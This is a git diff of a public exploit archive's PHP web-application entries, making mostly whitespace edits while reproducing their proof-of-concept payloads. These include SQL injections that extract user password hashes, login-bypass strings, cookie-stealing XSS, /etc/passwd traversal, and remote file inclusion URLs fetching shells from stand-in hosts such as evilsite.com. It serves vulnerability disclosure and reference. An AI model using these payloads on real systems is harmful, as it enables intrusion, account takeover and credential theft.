b/platforms/php/webapps/27058.txt index 96f202fc4..f1fbed89d 100755 --- a/platforms/php/webapps/27058.txt +++ b/platforms/php/webapps/27058.txt @@ -11,4 +11,4 @@ Example proof-of-concept code has been provided: navigate to http://www.example.com/modules.php?name=Search and type in -s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* \ No newline at end of file +s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* \ No newline at end of file diff --git a/platforms/php/webapps/27059.txt b/platforms/php/webapps/27059.txt index f35b72833..951dfbf3d 100755 --- a/platforms/php/webapps/27059.txt +++ b/platforms/php/webapps/27059.txt @@ -18,4 +18,4 @@ IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.' '); fclose($fp); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/2706.txt b/platforms/php/webapps/2706.txt index 8febe0178..90e1e8ad6 100755 --- a/platforms/php/webapps/2706.txt +++ b/platforms/php/webapps/2706.txt @@ -20,7 +20,7 @@ + -> include $base_path."manager/media/browser/mcpuk/connectors/php/Commands/helpers/iconlookup.php"; + + Proof Of Concept: -+ http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilserver/shell.php? ++ http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-11-03] diff --git a/platforms/php/webapps/27060.txt b/platforms/php/webapps/27060.txt index 21370e912..bb55fba88 100755 --- a/platforms/php/webapps/27060.txt +++ b/platforms/php/webapps/27060.txt @@ -18,4 +18,4 @@ IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.' '); fclose($fp); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/27064.txt b/platforms/php/webapps/27064.txt index 636203ab2..ad0e24148 100755 --- a/platforms/php/webapps/27064.txt +++ b/platforms/php/webapps/27064.txt @@ -4,4 +4,4 @@ Orjinweb is prone to a remote file include vulnerability. This issue is due to a An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/?page=http://www.example.com/evilcode.txt?&cmd=uname -a \ No newline at end of file +http://www.example.com/?page=http://www.example.com/evilcode.txt?&cmd=uname -a \ No newline at end of file diff --git a/platforms/php/webapps/27068.txt b/platforms/php/webapps/27068.txt index 09eebae4b..0f89241b4 100755 --- a/platforms/php/webapps/27068.txt +++ b/platforms/php/webapps/27068.txt @@ -5,4 +5,4 @@ MyPhPim is prone to multiple input validation vulnerabilities. These issues are Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. login: [first registered user] -pass: a") or "a"="a"/* \ No newline at end of file +pass: a") or "a"="a"/* \ No newline at end of file diff --git a/platforms/php/webapps/27070.txt b/platforms/php/webapps/27070.txt index 419327255..002cfa128 100755 --- a/platforms/php/webapps/27070.txt +++ b/platforms/php/webapps/27070.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th TrackPoint NX versions less than 0.1 are reported to be vulnerable. -http://www.example.com/[tpointdir]/index.php?Page=login&Action=Login&username=[XSS] \ No newline at end of file +http://www.example.com/[tpointdir]/index.php?Page=login&Action=Login&username=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/27075.txt b/platforms/php/webapps/27075.txt index 838b4a4aa..dcc8f279d 100755 --- a/platforms/php/webapps/27075.txt +++ b/platforms/php/webapps/27075.txt @@ -4,4 +4,4 @@ TankLogger is prone to multiple SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/exp/tanklogger/showInfo.php? livestock_id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9/* \ No newline at end of file +http://www.example.com/exp/tanklogger/showInfo.php? livestock_id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9/* \ No newline at end of file diff --git a/platforms/php/webapps/27077.txt b/platforms/php/webapps/27077.txt index eb9edf416..23fb7b5e0 100755 --- a/platforms/php/webapps/27077.txt +++ b/platforms/php/webapps/27077.txt @@ -8,4 +8,4 @@ For the HTML injection vulnerability, ttacker-supplied HTML and script code woul http://www.example.com/calendar.php?show=full_month&s=1&submit=GO&day=[XSS] -http://www.example.com/search.php post this code <script>alert('night_warrior');</script> \ No newline at end of file +http://www.example.com/search.php post this code <script>alert('night_warrior');</script> \ No newline at end of file diff --git a/platforms/php/webapps/27078.txt b/platforms/php/webapps/27078.txt index b29d11624..25bda5e42 100755 --- a/platforms/php/webapps/27078.txt +++ b/platforms/php/webapps/27078.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary code in the browser of The discoverer of this vulnerability did not specify which version of this application is vulnerable. -http://www.example.com/template/fullview.php?tempid=[XSS] \ No newline at end of file +http://www.example.com/template/fullview.php?tempid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/27080.txt b/platforms/php/webapps/27080.txt index 6e97e80f9..a24669a4b 100755 --- a/platforms/php/webapps/27080.txt +++ b/platforms/php/webapps/27080.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to execute arbitrary malicious PHP code and e ezDatabase version 2.0 is vulnerable to these issues; other versions may also be affected. http://www.example.com/visitorupload.php?db_id=;phpinfo() -http://www.example.com/visitorupload.php?db_id=;include(_GET[test])&test=http://www.example2.com/script.php \ No newline at end of file +http://www.example.com/visitorupload.php?db_id=;include(_GET[test])&test=http://www.example2.com/script.php \ No newline at end of file diff --git a/platforms/php/webapps/27084.txt b/platforms/php/webapps/27084.txt index 53345e5e0..2a9dbe860 100755 --- a/platforms/php/webapps/27084.txt +++ b/platforms/php/webapps/27084.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: http://www.example.com/admin/index.php User Name: a' or 1/* -Password: a' or 1/* \ No newline at end of file +Password: a' or 1/* \ No newline at end of file diff --git a/platforms/php/webapps/27085.txt b/platforms/php/webapps/27085.txt index 19fb25b3f..05463f7f8 100755 --- a/platforms/php/webapps/27085.txt +++ b/platforms/php/webapps/27085.txt @@ -5,4 +5,4 @@ Bit 5 Blog is prone to an HTML injection vulnerability. This issue is due to a f Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. The following proof of concept is available: -<a href=javascript:alert(123)>clickme</a> \ No newline at end of file +<a href=javascript:alert(123)>clickme</a> \ No newline at end of file diff --git a/platforms/php/webapps/27086.txt b/platforms/php/webapps/27086.txt index 23f2347ed..fecd5f804 100755 --- a/platforms/php/webapps/27086.txt +++ b/platforms/php/webapps/27086.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos An example URI has been provided: -http://www.example.com/folder/pictures.php?dir=[SQL] \ No newline at end of file +http://www.example.com/folder/pictures.php?dir=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/27087.txt b/platforms/php/webapps/27087.txt index daa50425f..38ab90cdf 100755 --- a/platforms/php/webapps/27087.txt +++ b/platforms/php/webapps/27087.txt @@ -5,4 +5,4 @@ geoBlog is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. The following proof of concept URI is available: -http://www.example.com/geoblog/viewcat.php?cat=I'%20union%20select%201,2,3,4,5,6,7/* \ No newline at end of file +http://www.example.com/geoblog/viewcat.php?cat=I'%20union%20select%201,2,3,4,5,6,7/* \ No newline at end of file diff --git a/platforms/php/webapps/2709.txt b/platforms/php/webapps/2709.txt index bd9cf6393..08b8456b8 100755 --- a/platforms/php/webapps/2709.txt +++ b/platforms/php/webapps/2709.txt @@ -1,4 +1,4 @@ - + ============================================================================================ Creasito E-Commerce Content Manager (admin) Authentication Bypass diff --git a/platforms/php/webapps/27092.txt b/platforms/php/webapps/27092.txt index a9b6753b0..9a19a419a 100755 --- a/platforms/php/webapps/27092.txt +++ b/platforms/php/webapps/27092.txt @@ -5,4 +5,4 @@ GTP iCommerce is prone to multiple cross-site scripting vulnerabilities. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/index.php?page=listStory&cat=Programs+and+Services&subcat=[code] -http://www.example.com/index.php?page=listStory&cat=[code] \ No newline at end of file +http://www.example.com/index.php?page=listStory&cat=[code] \ No newline at end of file diff --git a/platforms/php/webapps/27093.txt b/platforms/php/webapps/27093.txt index c63af5c6b..98e98768d 100755 --- a/platforms/php/webapps/27093.txt +++ b/platforms/php/webapps/27093.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions less than 2.1.2 are reported to be affected; other versions may also be vulnerable. -http://www.example.com/index.php?db_id=1&cat_id=1&display=30&p=%3Cscript%3Ealert(document.cookie)%3C/script%3E&rowstart=90 \ No newline at end of file +http://www.example.com/index.php?db_id=1&cat_id=1&display=30&p=%3Cscript%3Ealert(document.cookie)%3C/script%3E&rowstart=90 \ No newline at end of file diff --git a/platforms/php/webapps/27097.txt b/platforms/php/webapps/27097.txt index b23cfcad5..038fdedd4 100755 --- a/platforms/php/webapps/27097.txt +++ b/platforms/php/webapps/27097.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve arbitrary files from the Version 0.9.33 is vulnerable; other versions may also be affected. -http://www.example.com/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1 \ No newline at end of file +http://www.example.com/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1 \ No newline at end of file diff --git a/platforms/php/webapps/27098.txt b/platforms/php/webapps/27098.txt index dfebd618d..d05203df9 100755 --- a/platforms/php/webapps/27098.txt +++ b/platforms/php/webapps/27098.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 1.1.0-3 is vulnerable; other versions may also be affected. -http://www.example.com/rkrt_stats.php?refs,,Last_7,0,">[code] \ No newline at end of file +http://www.example.com/rkrt_stats.php?refs,,Last_7,0,">[code] \ No newline at end of file diff --git a/platforms/php/webapps/27099.txt b/platforms/php/webapps/27099.txt index aca0763d7..a8754a4f3 100755 --- a/platforms/php/webapps/27099.txt +++ b/platforms/php/webapps/27099.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: http://www.example.com/index.php?act=login username: a' or 1/* -password: anypassword \ No newline at end of file +password: anypassword \ No newline at end of file diff --git a/platforms/php/webapps/2710.txt b/platforms/php/webapps/2710.txt index 9702de191..30ce98b5a 100755 --- a/platforms/php/webapps/2710.txt +++ b/platforms/php/webapps/2710.txt @@ -30,10 +30,10 @@ require("../www/ariadne.inc"); Exploit: -server/script_path/lib/includes/loader.cmd.php?store_config[code]=http://evilscripts ? -server/script_path/lib/includes/loader.ftp.php?store_config[code]=http://evilscripts ? -server/script_path/lib/includes/loader.soap.php?store_config[code]=http://evilscripts ? -server/script_path/lib/includes/loader.web.php?store_config[code]=http://evilscripts ? +www.target.com/script_path/lib/includes/loader.cmd.php?store_config[code]=http://evilscripts ? +www.target.com/script_path/lib/includes/loader.ftp.php?store_config[code]=http://evilscripts ? +www.target.com/script_path/lib/includes/loader.soap.php?store_config[code]=http://evilscripts ? +www.target.com/script_path/lib/includes/loader.web.php?store_config[code]=http://evilscripts ? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/platforms/php/webapps/27100.txt b/platforms/php/webapps/27100.txt index 24f634d67..94c90d9dc 100755 --- a/platforms/php/webapps/27100.txt +++ b/platforms/php/webapps/27100.txt @@ -4,4 +4,4 @@ microBlog is prone to multiple SQL injection vulnerabilities. These issues are d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/microblog/index.php?month=1&year=9999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14/* \ No newline at end of file +http://www.example.com/microblog/index.php?month=1&year=9999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14/* \ No newline at end of file diff --git a/platforms/php/webapps/27102.txt b/platforms/php/webapps/27102.txt index 9dec24014..2c7589a72 100755 --- a/platforms/php/webapps/27102.txt +++ b/platforms/php/webapps/27102.txt @@ -4,4 +4,4 @@ PowerPortal is prone to multiple cross-site scripting vulnerabilities. These iss An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/modules/links/index.php?search=[XSS]func=search_results \ No newline at end of file +http://www.example.com/modules/links/index.php?search=[XSS]func=search_results \ No newline at end of file diff --git a/platforms/php/webapps/27104.txt b/platforms/php/webapps/27104.txt index dc93083c7..c44d5fb3f 100755 --- a/platforms/php/webapps/27104.txt +++ b/platforms/php/webapps/27104.txt @@ -13,4 +13,4 @@ An attacker may also be able to exploit vulnerabilities in the underlying databa Version 2.3 is vulnerable; other versions may also be affected. A BBCode tag script-injection example has been provided: -[url]javascript:alert(123)[/url] \ No newline at end of file +[url]javascript:alert(123)[/url] \ No newline at end of file diff --git a/platforms/php/webapps/27105.txt b/platforms/php/webapps/27105.txt index b5634e3e7..e20ec47a8 100755 --- a/platforms/php/webapps/27105.txt +++ b/platforms/php/webapps/27105.txt @@ -15,4 +15,4 @@ Version 2.3 is vulnerable; other versions may also be affected. An SQ- injection example has been provided: http://www.example.com/aoblogger/login.php username: username'/* -password: any \ No newline at end of file +password: any \ No newline at end of file diff --git a/platforms/php/webapps/27106.txt b/platforms/php/webapps/27106.txt index de526b11d..d340a865e 100755 --- a/platforms/php/webapps/27106.txt +++ b/platforms/php/webapps/27106.txt @@ -18,4 +18,4 @@ An example of new entry creation without proper authorization has been provided: <input name="uza" value=1> <input name="title" value="anytitle"> <textarea name="message">anymessage&lt;/textarea&gt; -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/27107.txt b/platforms/php/webapps/27107.txt index 8a83e312f..40804bad8 100755 --- a/platforms/php/webapps/27107.txt +++ b/platforms/php/webapps/27107.txt @@ -13,4 +13,4 @@ http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction= ../../../../../../../../../../../../etc/passwd%00 http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction= -../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/27109.txt b/platforms/php/webapps/27109.txt index be6bc6172..a701e65d8 100755 --- a/platforms/php/webapps/27109.txt +++ b/platforms/php/webapps/27109.txt @@ -10,4 +10,4 @@ Reports have not specified which version is vulnerable. The current version (1.2 The following proof of concept is available: -[img]javascript:alert('XSS')[/img] \ No newline at end of file +[img]javascript:alert('XSS')[/img] \ No newline at end of file diff --git a/platforms/php/webapps/27111.txt b/platforms/php/webapps/27111.txt index 827c01d7d..9ab40e244 100755 --- a/platforms/php/webapps/27111.txt +++ b/platforms/php/webapps/27111.txt @@ -5,4 +5,4 @@ Eggblog is prone to multiple input validation vulnerabilities. These issues are Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. http://www.example.com/eggblog/forum/topic.php?id=N -message:<XSS> \ No newline at end of file +message:<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/27112.txt b/platforms/php/webapps/27112.txt index 86077e104..c4fc8a8de 100755 --- a/platforms/php/webapps/27112.txt +++ b/platforms/php/webapps/27112.txt @@ -8,4 +8,4 @@ The following proof of concept URI for some of the SQL injection issues are avai http://www.example.com/viewprofile.php?id=999%20union%20select%201,2,3,4,5,6,7/* Also supplying the following to the search parameter: -aaaaa') union select 1,2,3,4,5,6/* \ No newline at end of file +aaaaa') union select 1,2,3,4,5,6/* \ No newline at end of file diff --git a/platforms/php/webapps/27114.txt b/platforms/php/webapps/27114.txt index cb22e8409..c6d8729b4 100755 --- a/platforms/php/webapps/27114.txt +++ b/platforms/php/webapps/27114.txt @@ -7,4 +7,4 @@ Successful exploitation could allow an attacker to compromise the application, a The following proof of concept example is available: http://www.example.com/webspot/login.php Username: aaaa' union select 1,2,3,1,1,6, 7/* -Password: any \ No newline at end of file +Password: any \ No newline at end of file diff --git a/platforms/php/webapps/27116.txt b/platforms/php/webapps/27116.txt index 2fdac8506..78fc92ca2 100755 --- a/platforms/php/webapps/27116.txt +++ b/platforms/php/webapps/27116.txt @@ -18,4 +18,4 @@ http://www.example.com/index.php?words=&where=1&submitted=true&address=E-mail+Ad http://www.example.com/ndex.php?id=-99 union select null,null,null,null,null,null,null,null,null from newsphp.pro/* -http://www.example.com/index.php?tim=-1 union select null,null,null,null,null,null,null,null,null from newsphp.pro/* \ No newline at end of file +http://www.example.com/index.php?tim=-1 union select null,null,null,null,null,null,null,null,null from newsphp.pro/* \ No newline at end of file diff --git a/platforms/php/webapps/27117.txt b/platforms/php/webapps/27117.txt index 2c1370ca8..549e0e062 100755 --- a/platforms/php/webapps/27117.txt +++ b/platforms/php/webapps/27117.txt @@ -10,4 +10,4 @@ The following proof of concept is available: blogphp_username=admin -blogphp_password=imei' or '1'='1 \ No newline at end of file +blogphp_password=imei' or '1'='1 \ No newline at end of file diff --git a/platforms/php/webapps/27119.txt b/platforms/php/webapps/27119.txt index f9438ad35..ed2baad4d 100755 --- a/platforms/php/webapps/27119.txt +++ b/platforms/php/webapps/27119.txt @@ -10,4 +10,4 @@ http://www.example.com/emoblog/index.php? monthy=2006017'% 20union%20select% 201 http://www.example.com/emoblog/admin/index.php username: aaa' union select 'bbb', '[md5-hash of anypass]'/* -password: [anypass] \ No newline at end of file +password: [anypass] \ No newline at end of file diff --git a/platforms/php/webapps/27120.txt b/platforms/php/webapps/27120.txt index 491dcc754..7c6732024 100755 --- a/platforms/php/webapps/27120.txt +++ b/platforms/php/webapps/27120.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a http://www.example.com/post.php?nickname="><script>alert('XSS')</script><!-- -http://www.example.com/post.php?topic=>"<br><iframe%20src=javascript:alert()><br>" \ No newline at end of file +http://www.example.com/post.php?topic=>"<br><iframe%20src=javascript:alert()><br>" \ No newline at end of file diff --git a/platforms/php/webapps/27122.txt b/platforms/php/webapps/27122.txt index 12791302d..de8cfbed0 100755 --- a/platforms/php/webapps/27122.txt +++ b/platforms/php/webapps/27122.txt @@ -8,4 +8,4 @@ The following proof of concept is available: http://www.example.com/usercp.php?action=notepad -notepad=&lt;/textarea&gt;<script>alert(document.cookie)</script> \ No newline at end of file +notepad=&lt;/textarea&gt;<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/27124.txt b/platforms/php/webapps/27124.txt index d74209dff..7ce5d325a 100755 --- a/platforms/php/webapps/27124.txt +++ b/platforms/php/webapps/27124.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Version 0.3f is vulnerable; other versions may also be affected. -http://www.example.com/chat/index.php?pseudo=><script>alert(navigator.appVersion)</script>&txtlen=500&smiley=1 \ No newline at end of file +http://www.example.com/chat/index.php?pseudo=><script>alert(navigator.appVersion)</script>&txtlen=500&smiley=1 \ No newline at end of file diff --git a/platforms/php/webapps/27125.txt b/platforms/php/webapps/27125.txt index 18b285deb..ce384334c 100755 --- a/platforms/php/webapps/27125.txt +++ b/platforms/php/webapps/27125.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/minibloggie/login.php User Name: ' or 1/* -Password: ' or 1/* \ No newline at end of file +Password: ' or 1/* \ No newline at end of file diff --git a/platforms/php/webapps/27126.txt b/platforms/php/webapps/27126.txt index e4527759b..7598bc8cf 100755 --- a/platforms/php/webapps/27126.txt +++ b/platforms/php/webapps/27126.txt @@ -11,4 +11,4 @@ Add a comment Your name: <XSS> Your email address: any Website URL: javascript:[code] -Comment: <XSS> \ No newline at end of file +Comment: <XSS> \ No newline at end of file diff --git a/platforms/php/webapps/27127.txt b/platforms/php/webapps/27127.txt index 17f67d6f2..2e25c0d5b 100755 --- a/platforms/php/webapps/27127.txt +++ b/platforms/php/webapps/27127.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would execute in the context of the affec GET /path/index.php HTTP/1.0 Host: host -Referer: http://<XSS>.com/; \ No newline at end of file +Referer: http://<XSS>.com/; \ No newline at end of file diff --git a/platforms/php/webapps/2713.txt b/platforms/php/webapps/2713.txt index ba9d962ab..294bb935c 100755 --- a/platforms/php/webapps/2713.txt +++ b/platforms/php/webapps/2713.txt @@ -23,7 +23,7 @@ - Exploit: - http://[target]/[path]/includes/xhtml.php?d_root=http://evilserver/shell? + http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell? ------------------------------------------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/27137.txt b/platforms/php/webapps/27137.txt index ad4b40385..4be7ab517 100755 --- a/platforms/php/webapps/27137.txt +++ b/platforms/php/webapps/27137.txt @@ -5,4 +5,4 @@ MyBB is prone to multiple cross-site scripting vulnerabilities. These issues are An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/mybb/search.php?action=do_search&keywords=&postthread=1&author=imei&matchusername=1&forums=all&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby="><script -language=javascript>alert(document.cookie)/script>&sorder=1&showresults=threads&submit=Search \ No newline at end of file +language=javascript>alert(document.cookie)/script>&sorder=1&showresults=threads&submit=Search \ No newline at end of file diff --git a/platforms/php/webapps/27138.txt b/platforms/php/webapps/27138.txt index d8d6344a7..7c4816bfb 100755 --- a/platforms/php/webapps/27138.txt +++ b/platforms/php/webapps/27138.txt @@ -7,4 +7,4 @@ Successful exploitation could allow an attacker to compromise the application, a Version 2004.09.02 is vulnerable; other versions may also be affected. -http://www.example.com/adonet/index.php?ando=comentarios&entrada=1'%20union%20select%201,2,3,4/* \ No newline at end of file +http://www.example.com/adonet/index.php?ando=comentarios&entrada=1'%20union%20select%201,2,3,4/* \ No newline at end of file diff --git a/platforms/php/webapps/27146.txt b/platforms/php/webapps/27146.txt index 517088a70..33b15f945 100755 --- a/platforms/php/webapps/27146.txt +++ b/platforms/php/webapps/27146.txt @@ -4,4 +4,4 @@ sPaiz-Nuke is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/sPaiz-Nuke/modules.php?name=Articles&file=search&query=[XSS]&type=articles&type=comments \ No newline at end of file +http://www.example.com/sPaiz-Nuke/modules.php?name=Articles&file=search&query=[XSS]&type=articles&type=comments \ No newline at end of file diff --git a/platforms/php/webapps/27147.txt b/platforms/php/webapps/27147.txt index 9817511a0..afe96e035 100755 --- a/platforms/php/webapps/27147.txt +++ b/platforms/php/webapps/27147.txt @@ -8,4 +8,4 @@ PmWiki is prone to multiple input-validation vulnerabilities. These issues are d These issues affect version 2.1 beta20; other versions may also be vulnerable. -http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com \ No newline at end of file +http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/27148.txt b/platforms/php/webapps/27148.txt index 025165efb..f712b3ba2 100755 --- a/platforms/php/webapps/27148.txt +++ b/platforms/php/webapps/27148.txt @@ -4,4 +4,4 @@ Nuked-klaN is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/index.php?file=Members&letter=[XSS] \ No newline at end of file +http://www.example.com/index.php?file=Members&letter=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/27149.txt b/platforms/php/webapps/27149.txt index bbd9d72da..eac3dd02a 100755 --- a/platforms/php/webapps/27149.txt +++ b/platforms/php/webapps/27149.txt @@ -8,4 +8,4 @@ Example URI have been provided: http://www.example.com/[path]/ashnews.php?page=showcomments&id=<script><script>alert(document.cookie)</script> -http://www.example.com/[path]/ashnews.php?page=showcomments&id=[xss] \ No newline at end of file +http://www.example.com/[path]/ashnews.php?page=showcomments&id=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/27152.txt b/platforms/php/webapps/27152.txt index e53353289..95d4a0f6a 100755 --- a/platforms/php/webapps/27152.txt +++ b/platforms/php/webapps/27152.txt @@ -4,4 +4,4 @@ BrowserCRM is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/modules/Search/results.php?query=%3CIMG+SRC%3Djavascript%3Aalert%28String.fromCharCode%2888%2C83%2C83%29%29%3E \ No newline at end of file +http://www.example.com/modules/Search/results.php?query=%3CIMG+SRC%3Djavascript%3Aalert%28String.fromCharCode%2888%2C83%2C83%29%29%3E \ No newline at end of file diff --git a/platforms/php/webapps/27153.txt b/platforms/php/webapps/27153.txt index ef42ae0de..adc7689b7 100755 --- a/platforms/php/webapps/27153.txt +++ b/platforms/php/webapps/27153.txt @@ -4,4 +4,4 @@ Cerberus Helpdesk is prone to a cross-site scripting vulnerability. This issue i An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/tts2/clients.php?mode=search&sid=<sidvalue>&contact_search=<script>alert('c')</script> \ No newline at end of file +http://www.example.com/tts2/clients.php?mode=search&sid=<sidvalue>&contact_search=<script>alert('c')</script> \ No newline at end of file diff --git a/platforms/php/webapps/27154.txt b/platforms/php/webapps/27154.txt index dc12ea0cf..12cec42fb 100755 --- a/platforms/php/webapps/27154.txt +++ b/platforms/php/webapps/27154.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue is reported to affect versions 2.1 Beta2 and earlier. -http://www.example.com/loginout.php?cmd=dir&cutepath=http://www.example.com/phpshell.txt? \ No newline at end of file +http://www.example.com/loginout.php?cmd=dir&cutepath=http://www.example.com/phpshell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/27155.txt b/platforms/php/webapps/27155.txt index b4c8633c2..cd3004d39 100755 --- a/platforms/php/webapps/27155.txt +++ b/platforms/php/webapps/27155.txt @@ -9,4 +9,4 @@ Successful exploitation can allow an attacker to bypass authentication and gain MyBB 1.1.2 and prior versions are reported vulnerable to this issue. http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8, -9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/* \ No newline at end of file +9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/* \ No newline at end of file diff --git a/platforms/php/webapps/27156.txt b/platforms/php/webapps/27156.txt index 8561767c8..a4022821f 100755 --- a/platforms/php/webapps/27156.txt +++ b/platforms/php/webapps/27156.txt @@ -6,4 +6,4 @@ Successful exploitation could allow an attacker to compromise the application, a http://www.example.com/szusermgnt/www/login.php Username: ' or 1/* -Password: any \ No newline at end of file +Password: any \ No newline at end of file diff --git a/platforms/php/webapps/27157.txt b/platforms/php/webapps/27157.txt index d3218dbca..fda862461 100755 --- a/platforms/php/webapps/27157.txt +++ b/platforms/php/webapps/27157.txt @@ -12,4 +12,4 @@ Example URIs have been provided: http://wwww.example.com/forum.php3?id_article=1&id_forum=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/* -http://wwww.example.com/forum.php3?id_article=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/* \ No newline at end of file +http://wwww.example.com/forum.php3?id_article=-1/**/UNION/**/SELECT%20pass%20from%20spip_auteurs/* \ No newline at end of file diff --git a/platforms/php/webapps/27158.txt b/platforms/php/webapps/27158.txt index ac348a015..53eb3c801 100755 --- a/platforms/php/webapps/27158.txt +++ b/platforms/php/webapps/27158.txt @@ -5,4 +5,4 @@ SPIP is prone to a cross-site scripting vulnerability. This issue is due to a fa An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. The following proof of concept URI is available: -http://www.example.com/index.php3?lang=">xss \ No newline at end of file +http://www.example.com/index.php3?lang=">xss \ No newline at end of file diff --git a/platforms/php/webapps/27162.txt b/platforms/php/webapps/27162.txt index d41423f9d..41f12a6bf 100755 --- a/platforms/php/webapps/27162.txt +++ b/platforms/php/webapps/27162.txt @@ -19,4 +19,4 @@ http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&yea 